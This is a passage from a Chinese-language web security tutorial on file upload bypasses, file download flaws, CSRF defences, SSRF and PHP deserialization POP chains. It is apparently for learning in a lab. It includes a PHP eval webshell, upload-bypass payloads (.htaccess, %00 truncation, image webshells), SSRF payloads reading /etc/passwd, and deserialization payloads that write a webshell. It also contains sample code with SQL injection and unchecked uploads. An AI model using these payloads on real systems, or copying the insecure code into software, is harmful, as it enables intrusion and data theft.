color:whitesmoke;
border-radius: 5px;
}
</style>
<script>
function doPost(){
//带附件上传
var data = new FormData();
//获取表单元素的值
data.append("username",$.trim($("#username").val()));
data.append("password",$.trim($("#password").val()));
data.append("photo",$("#photo").prop("files")[0]);
$.ajax({
url:"regajax.php",
type:"POST",
data:data,
cache:false,
processData:false,
contentType:false,
success:function(data){
document.write(data);
}
});
}
</script>
</head>
<body>
<table>
<tr>
<td width="40%">用户名:</td>
<td width="60%"><input type="text" id="username"/></td>
</tr>
<tr>
<td>密码:</td>
<td><input type="password" id="password"/></td>
</tr>
<tr>
<td>头像:</td>
<td><input type="file" id="photo" name="photo"/></td>
</tr>
<tr>
<td colspan="2"><button onclick="doPost()">注册</button></td>
</tr>
</table>
</body>
</html>
后端页面(regajax.php)(只是为了测试文件上传,暂且不涉及数据库)
<?php
include "common.php";
$conn = create_connection();
$username = $_POST['username'];
$password = $_POST['password'];
$tmpPath = $_FILES['photo']['tmp_name'];
$fileName = $_FILES['photo']['name'];
$sql = "select * from users where username = '$username'";
$result = $conn->query($sql);
if($result->num_rows == 1){
echo "The user is already be registed!";
}
//使用时间戳对上传文件重命名
$newName = date("Ymd_His.").end(explode(".",$fileName));
move_uploaded_file($tmpPath,"upload/".$newName) or die('头像上传失败');
//输出用户的注册信息(为了方便,只是演示文件上传,不存储数据库)
echo "注册成功!<br>";
echo "用户名:".$username."<br>";
echo "头像:<img src='upload/".$newName."' width=300/> </br>";
echo "<a href='./login.html'>去登录<a>";
$conn->close();
?>
一般来说,涉及到上传文件的,都会限制文件的类型
前端限制版本:
<script>
function checkFile(){
var file = document.getElementById("photo").value;
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;
if(username == null || username == ''){
alert("用户名不能为空!");
return false;
}
else if(password == null || password == ''){
alert("密码不能为空!");
return false;
}
else if(file == null || file == ''){
alert("请选择要上传的文件!");
return false;
}
var allow_ext = '.jpg|.gif|.png';
var ext_name = file.substring(file.lastIndexOf('.'),end);
if(allow_ext.indexOf(ext_name) == -1){
var errMsg = "该文件不允许上传请上传" + allow_ext +"类型的文件,当前类行为" + ext_name;
alert(errMsg);
return false;
}
return true;
}
</script>
但是如果用户在前端禁用了JS,那么这个限制手段也就起不到效果了
可是,如果用户为了绕过判断而去禁用JS,那么其余的JS中的功能也同样被禁用,这就可能导致上传的功能出现问题,所以,一般来说,这样的绕过方式不采取
可采取的方法就是修改文件后缀为允许上传的类型,然后通过BP抓包,在抓到的包上修改为原本的后缀
比如有这么一个木马文件(muma.php)
<?php
@eval($_POST['cmd']);
?>
修改后缀为muma.jpg,然后上传
抓到该包之后就修改回原本的文件后缀
这样就可以绕过前端的判断上传文件了
后端校验文件的方式:
<?php
//判断文件后缀名
if(end(explode('.',$filename)) == "php"){
die("上传文件非法!");
}
//判断文件类型
$type = $_FILES['photo']['type'];
if($type != "image/jpeg" || $type != "image/png" || $type != "image/gif"){
die("上传文件非法!");
}
?>
绕过方式也很多:抓包修改后缀和文件类型、图片马、大小写绕后缀等
补充:
其实上面针对后缀名的限制采用了黑名单的方式,但是往往采用黑名单限制总会有缺漏,所以采用白名单的方式会更加安全
2、常见的绕过方式
(1)前端禁用JS
(2)BurpSuite抓包后修改文件类型和文件后缀
(3)黑名单绕过
比如说限制了后缀名
方法一:
apache配置文件(httpd.conf)中有这么一条配置代码,默认如下:
AddType application/x-httpd-php .php
表示apache能解析的php代码的文件后缀需要是".php"
若其中含有其他的能解析的后缀,常见的如下:
AddType application/x-httpd-php .php .phtml .php5 .pht
那么,我们上传的php文件的后缀名就可以是这其中的任意一个,就能绕过部分的黑名单限制
方法二:
上传的php文件后缀改为:test.php.abc
那么此时后台取到的文件后缀为abc,不在黑名单上面,就可以上传
上传之后,当我们去访问该上传的文件的时候,apache会从最右侧开始解析后缀,很明显.abc不能被解析,apache就会往左边去找下一个,即解析到了.php那里面的木马就被执行了
方法三:
图片马
(4).htaccess
apache除了全局的配置文件,还有针对某目录的局部配置文件即.htaccess
该文件中的配置信息仅对当前目录有效
若该文件内有这么一条配置:
SetHandler application/x-httpd-php
那么,当前目录下所有文件都会被当成php文件来解析,无论是什么后缀名(与文件包含的效果类似)
所以,如果服务器端没有禁用上传.htaccess,那么我们可以先上传一个.htaccess文件(里面写好对应的配置信息)
然后再去上传木马文件(后缀无所谓,只要内容为php代码)
(5)图片马
二进制打开图片,任意位置写入php代码
命令demo:
echo "<?php phpinfo();?>" >> Less-1.jpg
通常结合.htaccess或者文件包含使用,单独的图片马发挥不出效果
(6)针对过滤手段构造payload
这一般出现在白盒测试,除非你能知道对方的源代码信息
根据过滤的手段(替换、匹配、增加字符等操作),构造出对应的payload去反向利用,最终构造出我们要的
(7)Windows服务器的特殊绕过
在Windows系统中,文件名后缀后面如果有空格或者"::DATA",那么Windows系统会将他们去除
也就是我们在上传文件的时候,可以在文件后缀后面跟上空格或者“::DATA”来绕过黑名单,然后最后上传到对方服务器的时候,服务器自动删除空格或“::DATA”
(8)%00截断
要求:
php版本 < 5.3
php.ini中的magic_quotes_gpc = Off
payload:
test.php%00.jpg
对方检测到的后缀(根据具体的后台逻辑)如果是.jpg,那就绕过了后缀的判断
到对方服务器的时候,会将%00后的内容去掉,也就是变成test.php
(9)二次渲染的绕过
二次渲染指的是服务器端对我们上传的图片的二进制内容进行处理(格式、尺寸等调整),处理完成后生成一张新的图片然后存储到服务器
这就可能导致我们写入的php代码信息被意外删除
绕过的方式:
我们先上传一张正常的图片
然后将上传后的图片从服务器端下载回本地
用二进制编辑器(mac可以使用Hex Fiend工具)打开两张图片进行对比,找到没有变化的地方,插入我们的php代码
将该图片马上传服务器,若其中的php代码部分没有因二次渲染而消失,那么图片马就上传成功了
当然,如果不能从服务器端下载我们上传的图片的话,我们就只能不断尝试哪个位置不会被意外抹除/修改了
(10)条件竞争
若源代码是这样的逻辑
<?php
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
//将上传的文件(还在临时目录下)转移到指定目录
if(move_uploaded_file($temp_file, $upload_file)){
//判断是否符合白名单的要求
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file); //删除非法文件
}
}else{
$msg = '上传出错!';
}
?>
关键点:
转移上传文件后再检查文件是否合法,若非法再进行删除
也就是说,在判断之前文件已经存在于上传目录了,只是在很短的时间内回接受检查然后对非法文件进行删除操作
那我们利用非法文件在目录中的那段短暂的时间,进行访问文件(我们在文件中写的php代码一般是文件上传类型的,即该代码被执行后,会在服务器端留下一个不会被删除的文件),跟服务器拼时间,这样的操作就是条件竞争
所以,利用方式就是我们不断的发送文件上传的请求,同时不断地去访问上传的文件,若我们访问文件的速度比服务器删除的速度还要快的话,就成功了
人工操作的可能性很低,基本都是自动化操作(BurpSuite、Python等)
不停地上传文件 + 不停地访问上传后的文件
现实情况下,能利用条件竞争的可能性很低,因为需要不停地上传文件并访问,很可能触发WAF或者IPS/IDS
十三、文件下载漏洞
用户可以通过web页面提供的文件下载功能去下载一些敏感文件或者下载页面源代码(用于代码审计,去挖掘更深层次的漏洞),这就是文件下载漏洞
利用的前提:
1、存在文件下载的地方
2、下载的文件用户可控
3、没有对用户的输入做好校验
4、允许目录穿越
十四、CSRF
CSRF(Cross-Site Request Forgery)跨站请求伪造
这个漏洞涉及到三个人物:攻击者、受害者、服务器
假设,服务器上部署了一个网站,登录过后可以享受网站上的各种服务,攻击者通过对这些服务的了解(如何提交数据给服务器),可以构造出对应的脚本(用于发送请求)。受害者是该网站的用户,受害者在登录该网站的前提下,如果点到了攻击者构造的脚本,那么受害者就会给服务器发送请求(攻击者构造好的)。
这一过程就是CSRF,攻击者通过CSRF达到了“获得受害者账号去享受正常服务”相同的效果
如何防御CSRF?
- 避免在URL中明文显示特定操作内容
- 使用同步令牌(Synchronizer Token),检查客户端请求是否包含令牌及其有效性(确保每次的Token值完全随机且每次都不同)(服务器端校验Token通常采用解码的方式,这就意味着Token不用存储在服务器当中,可以减少服务器的负担)
- 检查请求中的Referer,拒绝来自非本网站的直接URL请求
- 不要在客户端保存敏感信息(比如身份认证信息)
- 设置会话过期机制,比如超过20分钟无操作直接退出
- 敏感信息修改的时候需要对身份进行二次确认
- 涉及到敏感信息修改的请求,用POST不用GET
- 避免交叉漏洞
- 禁止跨域访问
- 在响应中设置CSP(Content-Security-Policy)内容安全策略
十五、SSRF
SSRF(Server-Side Request Forgery)服务器端请求伪造
服务器通常不是独立存在的,他们之间可能会互相调用功能/服务,这也就意味着服务器也会发送请求
如果我们对服务器发送的请求进行伪造,这就是SSRF
1、SSRF常见的函数
file_get_contents()
fsockopen()
curl_exec()
这些函数的共同点是:可以通过一些网络协议去远程访问目标服务器上的资源,然后对资源进行处理
file_get_contents()
<?php
//发送get请求,并接受响应
$resp = file_get_contents("http://172.16.50.128/security/login.html");
//打印响应内容
echo $resp;
?>
结果:
抓包可以看到过程
注:该函数只能发送get请求
fsockopen()
这个函数是通过自己构造HTTP请求头和正文(如果有的话)去发送请求的
<?php
//实例化一个到172.16.50.128的连接,端口是80,超时时间30秒
$fp = fsockopen("172.16.50.128",80,$errno,$errstr,30);
//拼接HTTP请求头
$out = "GET /security/login.html HTTP/1.1\r\n";
$out .= "Host: 172.16.50.134\r\n";
$out .= "Connection: Close\r\n\r\n";
//将请求头写入$fp实例中,并开始发送
fwrite($fp,$out);
//按行读取响应并输出
while(!feof($fp)){
echo fgets($fp,1024);
}
fclose($fp);
?>
访问查看输出,可以看到,他不仅将登入页面打印还将响应头的内容也读出来了
抓包能看得更清楚
curl_exec()
首先需要安装curl
#安装
apt install php-curl
#重启服务
systemctl restart apache2
<?php
//利用curl发送post请求
$url = "http://172.16.50.128/security/login2.php";
$data = "username=zyf&password=zyf@123.com&vcode=0000";
$ch = curl_init();
//真实情况不用设置这么多参数,这里只是为了演示(还有很多其他的)
$params[CURLOPT_URL] = $url; //请求的URL地址
$params[CURLOPT_HEADER] = true; //是否返回响应头信息
$params[CURLOPT_RETURNTRANSFER] = true; //是否将结果返回
$params[CURLOPT_FOLLOWLOCATION] = true; //是否重定向(只能限制请求中的重定向,而不能限制JS代码)
$params[CURLOPT_TIMEOUT] = 30; //设置超时时间
$params[CURLOPT_POST] = true; //发送POST请求
$params[CURLOPT_POSTFIELDS] = $data; //POST请求的正文
$params[CURLOPT_SSL_VERIFYPEER] = false; //请求https的时候,不验证证书
$params[CURLOPT_SSL_VERIFYHOST] = false; //请求https的时候,不验证主机
curl_setopt_array($ch,$params); //传入curl参数
$content = curl_exec($ch); //执行
echo $content;
curl_close($ch); //关闭连接
?>
2、最基本的含有SSRF的页面
以curl_exec()为例子:
<?php
$ch = curl_init();
$params[CURLOPT_URL] = $_GET["url"];
$params[CURLOPT_HEADER] = false; //不反悔响应头内容
curl_setopt_array($ch,$params);
$content = curl_exec($ch);
echo $content;
?>
Payload:
http://172.16.50.134/test.php?url=https://www.baidu.com
结果:
当然,请求百度并非我们的目的,只是为了测试是否存在漏洞
知道存在SSRF之后,我们主要的攻击目标有:
内网主机IP
内网主机端口开放情况
读取文件
(1)测试内网主机IP地址:
原理很简单,我们作为攻击者,不知道对方内网的情况
但是,如果我们发现对方一个服务器有SSRF漏洞,我们就可以让该服务器发送请求给内网其他主机/服务器
根据响应的不同(回显也好,时间也好,总归是一些不同的特征)分析出内网IP的情况
payload:
http://172.16.50.134/test.php?url=172.16.50.123
通过python或者burpsuite不断的测试
(2)测试内网主机端口开放情况
原理同(1)
payload:
http://172.16.50.134/test.php?url=172.16.50.123:80
通过python或者burpsuite不断的测试
(3)读取文件
发送请求不一定要是http协议的,也可以是其他协议,比如file://
payload:
http://172.16.50.134/test.php?url=file:///etc/passwd
3、SSRF漏洞挖掘技巧
(1)从URL中寻找
share
wap
url
link
src
source
target
u
3g
display
sourceURL
imageURL
domain
location
remote
(2)从web页面功能上查找
分享功能
通过URL地址分享网页内容早期分享应用中,为了更好的提供用户体验,WEB应用在分享功能中,通常会获取目标URL地址网页内容中的<tilte></title>标签或者<metaname="description"content=“"/>标签中content的文本内容作为显示以提供更好的用户体验
转码服务
通过URL地址把原地址的网页内容调优使其适合手机屏慕浏览由于手机屏幕大小的关系,直接浏览网页内容的时候会造成许多不便,因此有些公司提供了转码功能,把网页内容通过相关手段转为适合手机屏幕浏览的样式
在线翻译
通过URL地址翻译对应文本的内容
图片加载与下载
通过URL地址加载或下载图片图片加载远程图片地址此功能用到的地方很多,但大多都是比较隐秘,比如在有些公司中的加载自家图片服务器上的图片用于展示。(此处可能会有人有疑问,为什么加载图片服务器上的图片也会有问题,直接使用img标签不就好了?,没错是这样,但是开发者为了有更好的用户体验通常对图片做些微小调整例如加水印、压缩等,所以就可能造成SSRF问题)
未公开的api实现以及其他调用
URL的功能未公开的api实现以及其他调用URL的功能此处类似的功能有360提供的网站评分,以及有些网站通过api获取远程地址xm1文件来加载内容。在这些功能中除了翻译和转码服务为公共服务,其他功能均有可能在企业应用开发过程中遇到
4、SSRF的利用方式
gopher
Gopher是一种分布式的文档传递服务。它允许用户以无缝的方式探索、搜索和检索驻留在不同位置的信息。gopher可以构造各种HTTP请求包,所以gopher在SSRF漏洞利用中充当万金油的角色。
http://examplesite/ssrf.php?url=gopher://127.0.0.1:3333/_test
dict
dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,但是在SSRF中如果可以使用dict协议那么就可以轻易的获取目标服务器端口上运行的服务版本等信息。
http://examplesite/ssrf.php?url=dict://127.0.0.1:3306/info
file
fi1e协议主要用于访问本地计算机中的文件
http://examplesite/ssrf.php?url=file://127.0.0.1/flag.php
http
http可以访问其他内网IP的服务器,也可以做任意URL跳转
http://examplesite/ssrf.php?url=http://www.baidu.com
5、SSRF的绕过技巧
(1)将IP地址转码
payload(十进制为例子):
十进制:
http://2886742662/login.html
十六进制:
http://0xac103286/login.html
结果:
(2)重新构造URL地址
Payload:
http://www.baidu.com@172.16.50.134/login.html
结果:
(3)使用短网址
将一个有效的网址利用短网址平台进行转换
最后需要请求的网址就是平台生成的短网址
6、SSRF的防御
(1)限制协议(只允许http或者https)
注意“==”和“===”的区别,免得让人有机可乘
(2)设置URL或者IP地址白名单
(3)统一的错误信息,避免用户通过错误信息来判断
(4)禁用重定向操作
curl中的参数设定:
$params[CURLOPT_FOLLOWLOCATION] = true;
该操作无法限制JS重定向,只能限制header("Location:list.php")
若要禁用JS的重定向,需要对内容进行判断(对响应中的内容进行匹配,匹配到重定向的特征就报错)
(5)限制请求的端口
(6)参数不可控,若一定要结合用户的输入,那要做好过滤
(7)服务器之间需要有认证的机制,防止伪造请求
十六、反序列化漏洞
前引
很多变成语言都具有面向对象的特性,并且大多数都含有魔术方法(即符合某种条件就能自动调用的方法)
那么反序列化的漏洞的产生,关键点就在于:
需要被反序列化的字符串用户可控 + 利用自动触发的机制
下面以php为例子
1、序列化后的字符串
我们知道,如果要正确的使用反序列化,那么被反序列化的字符串就得符合标准序列化后的要求
比如,我们有这么一个序列化后的字符串:
O:6:"People":4:{s:4:"name";s:6:"张三";s:3:"sex";s:3:"男";s:3:"age";s:2:"21";s:4:"addr";s:12:"浙江宁波";}
我们如果要修改里面的内容,就得符合要求(字符串长度,类型等需要和其内容“一一对应”)(后续这方面的注意事项就用“一一对应”来简称)
针对被不同访问修饰符(public,private,protected)修饰的属性我们要特别注意:
序列化当中,如果属性是被private或者protected修饰的,则会在属性名前面加上前缀(类名或者*)和属性分隔符(\0)
具体而言:
protected修饰的属性,在序列化后属性名会变成\0*\0PropertyName
private修饰的属性,在序列化后属性名会变成\0ClassName\0PropertyName
public修饰的属性,既没有额外前缀,也没有额外分隔符
所以我们在构造序列化字符串的时候就要注意“一一对应”的要求
其中:
在php中分隔符\0表示空字符,因为在字符串中不能直接键入\0,所以要用chr(0)来代表他
但是chr(0)是php的函数使用,在反序列化的漏洞中,我们输入的只是字符串而不能调用函数,所以针对这个问题,我们常常使用的方法是进行url/base64编码(具体问题具体分析)
!!!注意!!!:
对一个类序列化之后得到的字符串,里面只能看到类名、类的属性及其赋值信息,是看不到类的方法的
这也就意味着,如果你的pop链需要用到某个方法(非魔术方法/给属性赋值的方法,魔术方法会根据特定条件自动触发;给属性赋值的方法是为了绕过private/protected的限制,很可能是我们为了给属性赋值自己加的或者类本身自带的),那么在反序列化的时候是触发不到该方法的,可能导致反序列化漏洞利用失败。
2、常见的魔术方法
__construct(),类的构造函数
__destruct(),类的析构函数
__call(),调用不可访问或者不存在方法的时候会调用
__callStatic(),调用不可访问或者不存在的静态方法的时候会调用
__get(),读取不可访问或者不存在的属性的时候被调用
__set(),当给不可访问或者不存在的属性赋值的时候被调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),当一个类被转换成字符串的时候会调用
__invoke(),当以函数的方法调用对象的时候会调用
__set_state(),调用var_export导出类时,此静态方法会被调用。该方法的返回值作为var_export的返回值
__clone(),类被clone的时候被调用,用来调整对象的克隆行为
__autoload(),尝试加载未定义的类
__debugInfo(),当调用var_dump打印对象的时候调用(当你不想打印所有的属性),适用于php5.6版本
需要注意:
__construct()
在类被实例化(即使用new People()的时候)的时候自动调用
/**
* 注意!!!
* 通过new People()出来的,才叫做类被实例化
* 如果是通过反序列化来得到一个类的实例,这只能称为是“获得一个类的实例”
* 所以,仅有通过new People(),才会自动触发该魔术方法
*/
3、基础利用
漏洞代码:
<?php
class Basic{
public $a;
function __construct(){
$this->a = new Test();
}
function __destruct(){
$this->a->hello();
}
}
class Test{
function hello(){
echo "Hello!";
}
}
class Vul{
public $data;
function hello(){
@eval($this->data);
}
}
unserialize($_POST['code']);
?>
要被反序列化的内容是我们可控的
分析:
很明显,我们的目标/终点就是eval(),存在于Vul类中的hello()方法中,但是此方法无法通过反序列化使用
看到Basic类中存在创建别的类的实例并调用方法的方法,那我们是否可以利用Basic去够到eval呢?
分析Basic类的逻辑:
1、创建Basic类的实例
2、自动调用__construct()魔术方法
3、属性a作为Test类的实例
4、Basic类的实例退出内存,自动调用__destruct()魔术方法
5、Test的实例a调用Hello()方法
6、“echo 'Hellow!';”也就是说会输出Hello!
测试分析地对不对,新创建一个测试文件:
<?php
class Basic{
public $a;
function __construct(){
$this->a = new Test();
}
function __destruct(){
$this->a->hello();
}
}
class Test{
function hello(){
echo "Hello!";
}
}
$test = new Basic();
?>
输出:
Hello!
分析正确
序列化$test
$test = new Basic();
echo serialize($test);
输出:
O:5:"Basic":1:{s:1:"a";O:4:"Test":0:{}}Hello!
此时,反序列化这个字符串的话,就相当于获得了一个Basic类的实例,并且对里面的属性a进行了赋值(赋值为new Test())
根据刚刚的分析,我们知道,存在利用点的是Vul这个类而不是Test,所以我们要修改字符串的内容
当然序列化后的Test类里面没有属性信息,可是我们要利用eval,也要给Vul里面的属性data赋值
我们可以单独去序列化Vul,免得我们手打
<?php
class Vul{
public $data;
function hello(){
@eval($this->data);
}
}
$test = new Vul();
$test->data = "phpinfo();";
echo serialize($test);
?>
输出:
O:3:"Vul":1:{s:4:"data";s:10:"phpinfo();";}
结合一下就是我们的payload:
O:5:"Basic":1:{s:1:"a";O:3:"Vul":1:{s:4:"data";s:10:"phpinfo();";}}
测试:
4、基本步骤
(例子还是3中的)
第一步:构造pop链:
找到出口/目标函数,然后开始找一条以出口函数为终点的pop链
pop:
Basic -> $a->new Vul() -> $a->data="phpinfo();" -> __construct() -> $a->hello() -> eval("phpinfo();")
第二步:删除无用属性、方法,构造序列化字符串
<?php
class Basic{
public $a;
function __destruct(){
$this->a->hello();
}
}
class Vul{
public $data;
function hello(){
@eval($this->data);
}
}
//根据分析出来的pop链一个个写就行,其中魔术方法等自动触发的操作就不用显示化了
$test = new Basic();
$test->a = new Val();
$test->a->data = "phpinfo();";
echo serialize($test);
?>
输出:
O:5:"Basic":1:{s:1:"a";O:3:"Vul":1:{s:4:"data";s:10:"phpinfo();";}}
第三步:反序列化
Payload:
5、protected、private
修改:
<?php
class Basic{
private $a;
function __construct(){
$this->a = new Test();
}
function __destruct(){
$this->a->hello();
}
}
class Test{
function hello(){
echo "Hello!";
}
}
class Vul{
protected $data;
function hello(){
@eval($this->data);
}
}
unserialize($_POST['code']);
?>
此时Basic里面的属性a变成了私有属性,Vul里面的data变成了受保护的属性
步骤还是一样的
pop链……(与之前一致)
删除无用属性、方法,构造序列化字符串
<?php
class Basic{
private $a;
//由于$a为私有属性,不能直接在实例中赋值只能在类中使用
//而且,我们赋值的内容是创建另一个类的实例
//不能直接private $a = new Vul();
//所以我们就自己搞个方法(在方法里面赋值),然后让实例调用
function test(){
$this->a = new Vul();
}
function __destruct(){
$this->a->hello();
}
}
class Vul{
protected $data = "phpinfo();";
function hello(){
@eval($this->data);
}
}
$test = new Basic();
$test->test();
echo serialize($test);
?>
输出:
O:5:"Basic":1:{s:8:"Basica";O:3:"Vul":1:{s:7:"*data";s:10:"phpinfo();";}}
此时由于出现private和protected修饰的属性,会有额外的隐藏字符,在浏览器上显示不出来,但是可以通过查看源代码看到
解决方法:
对输出的内容进行URL编码
echo urlencode(serialize($test));
输出:
O%3A5%3A%22Basic%22%3A1%3A%7Bs%3A8%3A%22%00Basic%00a%22%3BO%3A3%3A%22Vul%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
此时隐藏字符(%00和%2A)都出来了,而且由于是URL编码,当我们将这串字符串交给后台反序列化的时候,会自动帮我们解码
6、进阶
代码:
<?php
class Template{
var $cacheFile = "cache.txt";
var $template = "<div>Welcome back %s</div>";
function __construct($data=null){
$data = $this->loadData($data);
$this->render($data);
}
function loadData($data){
return unserialize($data);
}
function createCache($file=null,$tpl=null){
$file = $file?:$this->cacheFile;
$tpl = $tpl?:$this->template;
file_put_contents($file,$tpl);
}
function render($data){
echo sprintf($this->template,htmlspecialchars($data["name"]));
}
function __destruct(){
$this->createCache();
}
}
new Template($_COOKIE["data"]);
?>
陌生的函数:sprintf()
网上可以查到,一看就懂:
<?php
$number = 9;
$str = "北京";
$txt = sprintf("北京有 %u 百万辆自行车。",$number,$str);
echo $txt;
?>
输出:
北京有 9 百万辆自行车。
发现疑点:
我们输入的$data基本上就是冲着反序列化去的,也就是我们输入的字符串,那么字符串['name']会出现什么结果?
测试:
<?php
$template = "<div>Welcome back %s</div>";
$data = "abc";
echo sprintf($template,htmlspecialchars($data["name"]));
?>
直接出现报错,而且是“Fatal error”,这也就意味着程序终止
也可以再后面加一行看一下是否会输出:
<?php
$template = "<div>Welcome back %s</div>";
$data = "abc";
echo sprintf($template,htmlspecialchars($data["name"]));
echo "1";
?>
可以看到并未输出“1”
这也就意味着,当我们输入的是字符串的时候,那么就会在sprintf这个地方报错,程序终止
那么后续就没有操作了,所以我们要避免他出现报错
出现错误的原因就在于我们的输入是字符串不是数组,但是如果我们真输入个数组进去,那么就没有反序列化的意义了
所以,强制类型转换,看一下情况:
<?php
$template = "<div>Welcome back %s</div>";
$data = "abc";
$data = array($data);
echo sprintf($template,htmlspecialchars($data["name"]));
echo "1";
?>
发现后续代码能正常运行了
pop链:
删除无用属性、方法,构造序列化字符串:
<?php
class Template{
var $cacheFile;
var $template;
function createCache($file=null,$tpl=null){
$file = $file?:$this->cacheFile;
$tpl = $tpl?:$this->template;
file_put_contents($file,$tpl);
}
function __destruct(){
$this->createCache();
}
}
$test = new Template();
$test->cacheFile = "muma.php";
$test->template = "<?=phpinfo();?>";
$a = array($test);
echo urlencode(serialize($a));
?>
输出:
a%3A1%3A%7Bi%3A0%3BO%3A8%3A%22Template%22%3A2%3A%7Bs%3A9%3A%22cacheFile%22%3Bs%3A8%3A%22muma.php%22%3Bs%3A8%3A%22template%22%3Bs%3A15%3A%22%3C%3F%3Dphpinfo%28%29%3B%3F%3E%22%3B%7D%7D";}) ?>
Payload:
访问写入文件
7、远程调试
真实的环境中,pop链远远没有这么简单,那么调试就成了重要的一环
VSCode中安装插件(服务器):
具体使用方法可以上网找教程
注意:
远程调控的前提是你和服务器之间是可以互相访问的,如果你服务器是公网,你是个私网地址,那你即使配对了你自己的公网地址,但是公网怎么知道这是给你的请求呢?除非你也能操控你的公网路由器的配置
希望大家喜欢这篇文章~